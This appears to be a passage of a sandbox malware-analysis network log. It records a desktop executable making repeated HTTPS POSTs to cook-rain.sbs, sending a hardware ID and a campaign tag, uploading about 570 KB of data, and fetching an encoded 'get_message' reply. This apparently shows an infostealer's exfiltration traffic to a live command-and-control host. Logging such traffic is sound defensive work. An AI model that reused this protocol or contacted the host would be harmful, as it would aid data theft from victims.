2024-11-19 18:14:07 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NKMXQP40 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20383 Host: cook-rain.sbs
2024-11-19 18:14:07 UTC	15331	OUT	Data Raw: 2d 2d 4e 4b 4d 58 51 50 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 34 34 30 46 45 39 39 35 37 33 45 30 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 4e 4b 4d 58 51 50 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4e 4b 4d 58 51 50 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4e 4b 4d 58 51 50 34 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --NKMXQP40Content-Disposition: form-data; name="hwid"EA440FE99573E01763CFCF7E6C45F838--NKMXQP40Content-Disposition: form-data; name="pid"3--NKMXQP40Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--NKMXQP40Content-Di
2024-11-19 18:14:07 UTC	5052	OUT	Data Raw: 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 f0 52 3c 78 29 f8 d7 Data Ascii: lrQMn 64F6(X&7~`aO@dR<x)
2024-11-19 18:14:09 UTC	989	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:14:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9bocs6q7ubgra6oumt6nrhcmao; expires=Sat, 15-Mar-2025 12:00:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=37JMh5HfR7%2ByakCIpddjbx7aJpxlt%2FvLmmYvjNBMBvYg67mRlVDkZXHmItqS1Rc%2FaxqD2koVMwipuOge%2F74k4HiUUsPpvwX3%2B28UmRxoF3wzwh9Y8YbRBnlieSBOuBqB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e522d990b8e0f6b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1551&sent=11&recv=27&lost=0&retrans=0&sent_bytes=2829&recv_bytes=21332&delivery_rate=1917268&cwnd=216&unsent_bytes=0&cid=e83a7e5954bb7c98&ts=1769&x=0"
2024-11-19 18:14:09 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-19 18:14:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	188.114.96.3	443	7152	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:14:10 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NRTJTCJVB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1191 Host: cook-rain.sbs
2024-11-19 18:14:10 UTC	1191	OUT	Data Raw: 2d 2d 4e 52 54 4a 54 43 4a 56 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 34 34 30 46 45 39 39 35 37 33 45 30 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 4e 52 54 4a 54 43 4a 56 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4e 52 54 4a 54 43 4a 56 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4e 52 54 4a 54 43 4a 56 42 0d 0a 43 6f 6e 74 65 6e Data Ascii: --NRTJTCJVBContent-Disposition: form-data; name="hwid"EA440FE99573E01763CFCF7E6C45F838--NRTJTCJVBContent-Disposition: form-data; name="pid"1--NRTJTCJVBContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--NRTJTCJVBConten
2024-11-19 18:14:10 UTC	983	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:14:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qq4m93b121tth3nvb7eh18e2oi; expires=Sat, 15-Mar-2025 12:00:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NeSx8WX1hphdGPllQ4YwlW9X9%2BRbzF3y%2Bv0sLsH8fkHPcVcvfVrT2%2FT4Pcuxtr4uYljj5gE6zKP5S%2FQzpFinTCiN2wGFHZ783a4ADa5hRsqvXjqeg8BkXkeKpyqz9QtW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e522da9dffe4219-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1689&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2096&delivery_rate=1665715&cwnd=193&unsent_bytes=0&cid=05be126dd4550f70&ts=442&x=0"
2024-11-19 18:14:10 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-19 18:14:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	188.114.96.3	443	7152	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:14:11 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=96CDJKXXHI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569944 Host: cook-rain.sbs
2024-11-19 18:14:11 UTC	15331	OUT	Data Raw: 2d 2d 39 36 43 44 4a 4b 58 58 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 34 34 30 46 45 39 39 35 37 33 45 30 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 39 36 43 44 4a 4b 58 58 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 36 43 44 4a 4b 58 58 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 39 36 43 44 4a 4b 58 58 48 49 0d 0a 43 6f Data Ascii: --96CDJKXXHIContent-Disposition: form-data; name="hwid"EA440FE99573E01763CFCF7E6C45F838--96CDJKXXHIContent-Disposition: form-data; name="pid"1--96CDJKXXHIContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--96CDJKXXHICo
2024-11-19 18:14:11 UTC	15331	OUT	Data Raw: 4c 47 e9 c1 bb c9 35 db 4c 68 76 bb 82 8f 08 34 54 d0 9b 15 ea e8 7f 91 fc 4a 10 fc ce cf 8e 56 c5 19 f6 01 46 e9 1f e0 3a 3d 33 86 a6 cd 60 49 bb 64 d6 d7 ea 40 0c bd e9 30 6d c0 c8 d9 5e 4c ab 00 06 07 a1 59 e8 ff 7b 24 c5 03 0b 12 36 a4 e1 51 00 6b 12 9a d7 15 80 dc 30 d0 80 5a 95 17 b4 ac 88 2c c2 0e 12 14 2a d1 9d 57 7a 0e a0 31 0b bb 83 3d 58 01 71 a0 1a 19 de 06 b2 fc 36 07 3f 5c 03 5e 23 75 96 12 c7 60 5d cd a1 68 59 44 97 12 8e 2d 3b cb a2 2f 7f 74 6e 95 1e c8 5d 40 2f 52 e2 a1 98 6f 42 ba 9c 8d 60 d5 47 06 6e cb e6 99 de 98 39 ed 21 78 16 f7 b5 bc 00 0b eb af 5a 16 7e d8 97 fa 6a 8f d7 ee ec 02 b9 46 76 be 7c 89 a5 cf 88 c9 5d 62 57 2b 2e cb 7c ec ff 43 08 05 e1 d4 40 69 56 e2 79 e7 74 7c ae 16 f4 4e af 19 b1 d9 fd 0a f0 78 ed f6 b2 a8 d2 b7 77 Data Ascii: LG5Lhv4TJVF:=3`Id@0m^LY{$6Qk0Z,*Wz1=Xq6?\^#u`]hYD-;/tn]@/RoB`Gn9!xZ~jFv\|]bW+.\|C@iVyt\|Nxw
2024-11-19 18:14:11 UTC	15331	OUT	Data Raw: e7 9e 5a f0 ff d8 2a 1d bb 09 4f 8e 1a ec 2f 5f 32 01 cd 2f 84 92 c3 be 7c a3 47 ff 4d 9c 9f 89 13 0b 3d 56 89 0c 6f 86 42 b8 13 cd 58 32 e9 1c c5 0f 33 84 22 d2 c6 4d 0c 93 43 3a 37 9b 22 84 da 51 0f ee 77 51 f5 d7 a4 76 af 62 52 a7 31 91 c4 7e c2 ee b1 ee e1 83 a8 56 96 f0 b1 9b 51 a9 5a 40 09 ae fd ed 93 aa 60 91 50 01 45 16 9a d2 63 91 fa 4e 4b 92 da 7b 7f 36 05 d2 7c b9 37 2e 68 b8 3c f7 5c eb 7d 02 97 c7 b8 4b 44 5c d7 f2 6a 53 2b cf 2a 58 88 6c 37 4a df 8d d9 fe c7 14 49 08 34 49 b9 8c c4 2b 9c e3 83 7f 9a 79 71 a0 a9 ae 6a 37 37 d6 9b 12 4b f9 88 ca f1 76 84 da bd 74 b7 6a 21 f3 52 34 12 77 6e ce ab bb 71 8a 19 27 5a 4c a4 96 11 d8 70 da 88 40 38 e0 69 74 fc 64 ec e6 b9 c5 06 03 ee 02 b9 31 1e db da 00 32 24 c2 89 03 c2 33 9a ff b9 2b bd a8 af 1c Data Ascii: ZO/_2/\|GM=VoBX23"MC:7"QwQvbR1~VQZ@`PEcNK{6\|7.h<\}KD\jS+Xl7JI4I+yqj77Kvtj!R4wnq'ZLp@8itd12$3+
2024-11-19 18:14:11 UTC	15331	OUT	Data Raw: 6d 68 90 8c f0 33 07 3e 31 75 be e6 40 ff 8b cd 8b ce 0f 8c 84 fa 04 ea 86 24 da 62 6f d1 bb 93 48 c9 b2 59 f1 8f 40 bc 17 cb 4d c8 2a 39 ca 57 26 dd 07 73 e3 14 f2 a4 b4 32 5a 07 f6 8f 38 1d 8c 2e 5d 5b cf 3e c6 d7 40 97 e9 7c bc 2a 8b e7 ad 11 21 6e fa 3d cf ca ad d1 e7 66 ce c8 18 c3 85 57 13 c7 81 bf a2 6c ba 24 02 c2 f5 3f 8c 12 8b c7 78 68 a1 ba 35 27 db 34 f4 fd 30 47 7a 5d 5f 52 39 99 42 ac 4f cc 84 65 54 89 f1 53 34 f9 4f f6 83 30 ce cc 6f 1a 1f ff b5 3c 3a b0 59 72 2d 41 34 a3 64 39 e7 c7 58 db 68 fc c1 87 e7 cb 56 2b e9 a8 ba ed 52 95 93 04 5a dc 23 4a 3f 75 d1 ba 70 9f ed 71 fc 7e 66 99 54 65 63 d5 33 7d fa 49 f2 76 73 65 9b 55 36 fb d2 a3 1f ff d5 e6 3f e1 7b 1f 07 6e 26 33 75 7b 9c 9d 69 0d 1a 92 5f 90 f7 fa d9 48 f9 75 cd 1e 3a 31 f7 5b 42 Data Ascii: mh3>1u@$boHY@M9W&s2Z8.][>@\|!n=fWl$?xh5'40Gz]_R9BOeTS4O0o<:Yr-A4d9XhV+RZ#J?upq~fTec3}IvseU6?{n&3u{i_Hu:1[B
2024-11-19 18:14:11 UTC	15331	OUT	Data Raw: bb 69 15 10 7c 42 89 f6 b1 74 ab f7 f1 51 56 af 21 a1 05 28 9e 1d ea 23 1d c4 5e df cf 7a 89 03 0f a4 e0 9c 85 e1 cf 85 21 2c d9 dc 24 35 17 88 48 97 7d 60 80 9f 36 e4 ad 8e 88 dc 0c 21 cc fc 93 6d f5 35 f5 2b 5e 75 b8 0a 09 db d8 c3 f7 41 d4 ab ca 3b c6 50 ba 3b 7b ef 4a fb ed 47 fb 38 bb 2d 3f 6d 5c 4c 3d 8f 09 f2 de ea d9 a0 26 0d 39 27 07 8b 70 8c 69 b1 11 f8 01 5d ab eb 6a 61 cb 13 ae a8 a9 0c d3 74 5b b7 e2 d1 16 e9 0e 29 5b 71 ce 41 1b 26 3c 4c cf bd 16 23 2f 0c 75 ea 43 b4 6a f9 bf a3 61 df 0b 69 45 ec 6b bb bf fa 9b 49 07 f9 3c e7 cc 72 af c4 dc c1 c0 39 07 30 f9 1b 67 35 1b d7 28 4a 18 39 f0 1a 29 dd 60 44 97 11 65 ea ee 3a a0 c8 da 90 f5 66 75 77 6e 0b 77 9d cc 70 15 ec 77 00 95 5e 16 77 98 3c e7 7a dc 4a 0e 41 ef 37 30 dd c6 41 3e cf 64 b9 f5 Data Ascii: i\|BtQV!(#^z!,$5H}`6!m5+^uA;P;{JG8-?m\L=&9'pi]jat[)[qA&<L#/uCjaiEkI<r90g5(J9)`De:fuwnwpw^w<zJA70A>d
2024-11-19 18:14:11 UTC	15331	OUT	Data Raw: 25 d1 79 69 e0 5f 39 9d 7b 41 64 dc 8a d3 f1 e1 25 e9 e7 3d da 51 05 c1 28 ad 88 34 cf ba 4c 1d 70 f4 38 d0 5b 6a 70 fc d9 a9 b1 71 46 04 44 2c 37 4b 3e 77 3d 18 a2 49 42 22 74 a0 05 68 e5 4b 4e 49 e5 8a c9 fe d0 b0 48 42 82 1a 8e 6e d3 52 87 8c 42 45 fa 5a c5 e7 14 de e9 e5 05 3c 86 d4 1e 5e 90 cc 16 a7 1c 90 05 b6 fb ab 7e 4a 12 b8 d4 a9 77 00 d2 30 6e e5 14 82 a2 73 c0 fb 20 6c 21 03 c6 20 c6 c7 0b f6 10 51 17 69 e9 e4 a8 0b ba a2 ea e1 a0 b5 8e 27 95 b8 80 27 a7 91 c3 e2 94 0b ea 2c 5b 14 85 8b 59 54 e5 58 1b 56 5b 23 fb f1 86 f1 a9 c4 ec fb bb 62 6b d0 c6 6b ab ce c8 da de 6f ae d2 91 d7 9b c4 db e9 c8 8d b7 13 da 8f 93 58 93 89 11 fc 3f 65 39 19 e7 0e 52 bd b7 a1 9d db e2 09 68 8a ce 14 7f 57 f2 4b 7c 40 71 76 07 f2 10 28 02 0f 5e 96 41 a3 be 73 cc Data Ascii: %yi_9{Ad%=Q(4Lp8[jpqFD,7K>w=IB"thKNIHBnRBEZ<^~Jw0ns l! Qi'',[YTXV[#bkkoX?e9RhWK\|@qv(^As
2024-11-19 18:14:11 UTC	15331	OUT	Data Raw: 8e 83 e7 1b 27 0a 94 f3 11 0d 9c 39 72 aa a1 1f 50 6b e8 30 ab 8d 83 d6 15 56 8f 9b ed 79 4a 4e e4 76 97 4a a7 a9 62 d7 fd ae 92 8a ee 0c b1 ce f5 cb ca e5 c0 69 9b d5 c5 e2 c6 a6 0b 85 9d 92 22 fb 6d be 1e b6 98 81 61 34 65 33 90 fa fe 43 ef 7d ba 55 47 b2 e1 44 8d b5 8e 93 e7 b4 7d 5b a6 77 a7 6b 46 c3 35 11 8a 9b 9d da 54 ad c4 d1 ab 69 70 8c 87 56 69 00 15 36 f5 38 89 ea 87 b8 23 8e c9 25 21 b1 2e 76 e4 c5 05 42 f8 2b 75 4b 3b ca aa 3a 90 d1 e6 b6 84 f2 45 28 de 25 02 fa e6 00 3f 21 2d 97 5d cd f2 3e 93 28 7a 09 36 d9 a0 fa 2f fe 7f 72 5f 94 21 57 79 ac f3 86 b9 81 56 c7 a8 3c 55 1e 3b fd 2c 36 bc b2 a2 5f 67 cb a8 d4 12 72 cc 1a b6 78 68 24 64 3e 49 9f e2 a1 9e 5f 57 a5 ca ce 20 6e 10 22 96 b0 fb b2 12 60 f5 59 23 ee dd 92 25 d5 ba 3b 16 b2 0e a9 02 Data Ascii: '9rPk0VyJNvJbi"ma4e3C}UGD}[wkF5TipVi68#%!.vB+uK;:E(%?!-]>(z6/r_!WyV<U;,6_grxh$d>I_W n"`Y#%;
2024-11-19 18:14:11 UTC	15331	OUT	Data Raw: 22 2f c7 38 5c af 38 ae d5 ed 15 d5 60 dc 3a 96 19 82 20 37 24 66 5f 86 28 d7 ef 30 a5 a0 09 61 08 e6 c7 f6 7d 65 33 d2 45 81 c5 29 6d 70 9e 91 12 49 ab e2 f1 69 bc 36 7a 87 67 9c 3a 90 82 4f 35 9d 30 65 c8 09 01 d5 46 58 03 9b 76 12 38 48 a0 7d 9e 8b 77 f1 dc ef c3 7c 4e 68 e0 78 1c b6 05 36 63 a3 70 09 ea 95 38 f6 c2 27 5a f7 98 bb 73 c4 9b 2e 1c b8 c1 4e 51 62 3f 09 fa e6 66 8a 43 d8 76 50 04 a0 89 93 64 24 c7 eb 10 56 99 a1 ec 12 a6 9e d6 c9 6f 05 ef fe 62 86 03 58 c2 d1 e8 5b 70 c0 cc 5b ec 33 00 47 c3 38 d1 7a 75 c6 53 80 22 68 1b ce 70 b0 d0 4b 88 7e 0f 05 cf 80 f3 20 af 98 8b dd 78 3a dd 73 10 67 7e ee b8 52 00 2e 7f f0 0c 44 01 21 37 5d e4 a2 64 04 0a 1e 2b c4 4d 49 73 df dc c0 95 15 90 02 b1 77 dc af 56 bb ec 30 3f 46 1d e1 93 e5 15 5f 70 fe bd Data Ascii: "/8\8`: 7$f_(0a}e3E)mpIi6zg:O50eFXv8H}w\|Nhx6cp8'Zs.NQb?fCvPd$VobX[p[3G8zuS"hpK~ x:sg~R.D!7]d+MIswV0?F_p
2024-11-19 18:14:11 UTC	15331	OUT	Data Raw: 3c 73 8f 38 ff 13 8a ae b6 2f 63 ef b7 f2 f1 56 bb 48 f7 0b 85 5f 64 db fa c2 3a 63 84 29 1a 16 cf 1e 6b 86 58 8f c6 ab 82 e4 09 bd fc 3b 58 be 89 c7 5c 79 f5 ad a2 43 2e 55 3d eb 2e d8 5e 15 48 71 e8 15 af 73 89 10 2f f4 6b 30 99 95 e9 ba 48 33 ca 9f 48 fa a4 e8 84 fc ce b3 21 41 32 af fa 44 03 3e a5 bf ad 41 1e 5e 4b e2 ab 5d 93 7c 6d 46 63 88 ae 64 0b eb db b2 a5 4d 33 cb 1e 6a 78 6b 08 06 3f 45 7e 1c 22 75 5f 5b 99 f7 e1 e1 5b e8 ca ff 2a 65 eb 65 c4 bb 83 48 c6 d6 b7 92 1b d6 7a 41 79 bc c0 41 83 44 47 c3 25 29 71 37 c6 1f 55 76 e7 bc 4d ae f1 f9 a8 aa c2 b5 9f 38 dc 46 ad df 77 96 09 ab 87 0e 0a 69 d2 9a 4e 7d 9c 74 3e 1a e0 3d a2 29 98 42 50 6a 48 95 93 ba 26 5c 77 4b 6a 12 e3 d3 12 f8 e3 8e 53 31 53 d2 29 53 c1 ce fe b5 f5 ec 4a a9 e9 2e 21 30 6b Data Ascii: <s8/cVH_d:c)kX;X\yC.U=.^Hqs/k0H3H!A2D>A^K]\|mFcdM3jxk?E~"u_[[*eeHzAyADG%)q7UvM8FwiN}t>=)BPjH&\wKjS1S)SJ.!0k
2024-11-19 18:14:11 UTC	15331	OUT	Data Raw: 81 31 94 32 8c 81 49 41 8b b9 ec b5 5e 67 92 d7 27 11 70 71 5d 9e d1 ba 0f ca 31 e1 4a 63 b7 89 76 86 06 c8 ac e3 66 25 56 f2 e6 a8 82 d7 f2 1c d1 6a 52 02 46 51 36 b2 a1 65 70 a5 a6 2c 90 1e ba 77 9e 87 e1 8d 8c 7c f1 a6 f3 13 8b 4c d9 bd f4 60 bf 25 4c 66 f8 7c 7d 8b 39 d7 09 9a af 9d 96 cb 11 e8 8f 32 64 80 ff b7 e1 b2 5c fa ea 21 2f 4e b5 a9 12 18 fa 4d cf 9a c5 68 e4 84 ff ca 1e 7c 3f 26 5b b1 14 04 15 9a fd b8 18 c1 b2 57 01 59 8e 80 51 54 f6 01 40 74 ce b1 0f 06 65 a0 66 e6 7d a2 3c eb c1 cc c5 32 90 6d d2 58 15 2b cf da 01 0b fc fa b1 14 61 70 70 37 d6 e8 81 80 63 60 7b c5 80 92 ff 4a 8f 24 70 0f 19 8c db 03 43 fc ee 42 b7 49 77 3a 37 98 fd 45 ab a8 cc 56 35 b2 d9 2d 6a 49 92 5d 73 73 07 2a e3 02 a0 7d 54 13 44 fc 41 6d e0 fb 6a 50 09 5c 7e e2 0e Data Ascii: 12IA^g'pq]1Jcvf%VjRFQ6ep,w\|L`%Lf\|}92d\!/NMh\|?&[WYQT@tef}<2mX+app7c`{J$pCBIw:7EV5-jI]ss*}TDAmjP\~
2024-11-19 18:14:15 UTC	986	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:14:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mqg2p7hjbs0c08qke9hbjlmlmb; expires=Sat, 15-Mar-2025 12:00:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rpGOPdnOs%2BLku2jSCadomFzMt7RohYAQIsj9rTO9puKLP%2Bf88FJ0pYpYrRC5MXDeWOrPuYNsJxF0Mt3ZfHEVXFWG7U5zoBPtcRg3aNEOfZyfk9UyVWbW17oPeLDx2tmZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e522db2bde45e64-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2113&sent=200&recv=591&lost=0&retrans=0&sent_bytes=2830&recv_bytes=572480&delivery_rate=1372825&cwnd=244&unsent_bytes=0&cid=fb18b93dabe05411&ts=4291&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	188.114.96.3	443	7152	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:14:16 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-19 18:14:16 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 45 41 34 34 30 46 45 39 39 35 37 33 45 30 31 37 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=EA440FE99573E01763CFCF7E6C45F838
2024-11-19 18:14:16 UTC	982	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:14:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v2f7tji4b85sa965eeors68omi; expires=Sat, 15-Mar-2025 12:00:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rI5ha%2BKX5jTNmlxSr9uCrAQJfMlhm1%2Bqaiyj3bsebFGnRk72LOj0ZHVrNcaJgdxzdC4CZEfINlUIF3nPB4qM7qn37dpxF6FuWDbjLA%2F0Fsurec0dd8GktLcBWAdQn%2BvR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e522dd0c8df0f85-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1540&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=985&delivery_rate=1864623&cwnd=205&unsent_bytes=0&cid=e431b2741fb57439&ts=440&x=0"
2024-11-19 18:14:16 UTC	214	IN	Data Raw: 64 30 0d 0a 73 65 48 41 38 5a 55 76 77 69 52 71 50 4c 67 34 73 44 63 61 79 74 55 70 35 42 33 45 4e 4b 4f 4e 49 6c 6b 37 75 46 7a 52 78 75 62 71 6d 75 4b 45 74 78 58 67 54 42 35 49 79 41 4c 73 47 45 62 6c 35 42 48 52 4d 2f 59 46 6c 71 4d 54 61 41 69 57 62 65 65 61 79 64 36 48 70 71 32 36 53 36 64 43 52 46 6e 41 58 5a 49 62 4f 4b 79 68 43 39 34 74 36 42 62 47 72 78 68 6f 52 70 51 6e 38 37 50 45 69 38 4f 6f 68 65 46 66 2b 48 68 46 59 4a 63 4a 69 41 49 30 2b 4f 51 63 79 69 7a 31 42 34 32 38 46 41 55 55 79 79 69 30 70 34 76 74 7a 72 4b 51 2b 30 75 74 53 55 52 5a 77 46 32 53 47 7a 69 73 6f 51 76 65 4c 65 67 57 78 71 38 59 61 45 62 6c 0d 0a Data Ascii: d0seHA8ZUvwiRqPLg4sDcaytUp5B3ENKONIlk7uFzRxubqmuKEtxXgTB5IyALsGEbl5BHRM/YFlqMTaAiWbeeayd6Hpq26S6dCRFnAXZIbOKyhC94t6BbGrxhoRpQn87PEi8OoheFf+HhFYJcJiAI0+OQcyiz1B428FAUUyyi0p4vtzrKQ+0utSURZwF2SGzisoQveLegWxq8YaEbl
2024-11-19 18:14:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49739	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:14:19 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=rfONvscVnfuNh87&MD=NpLzTHHd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
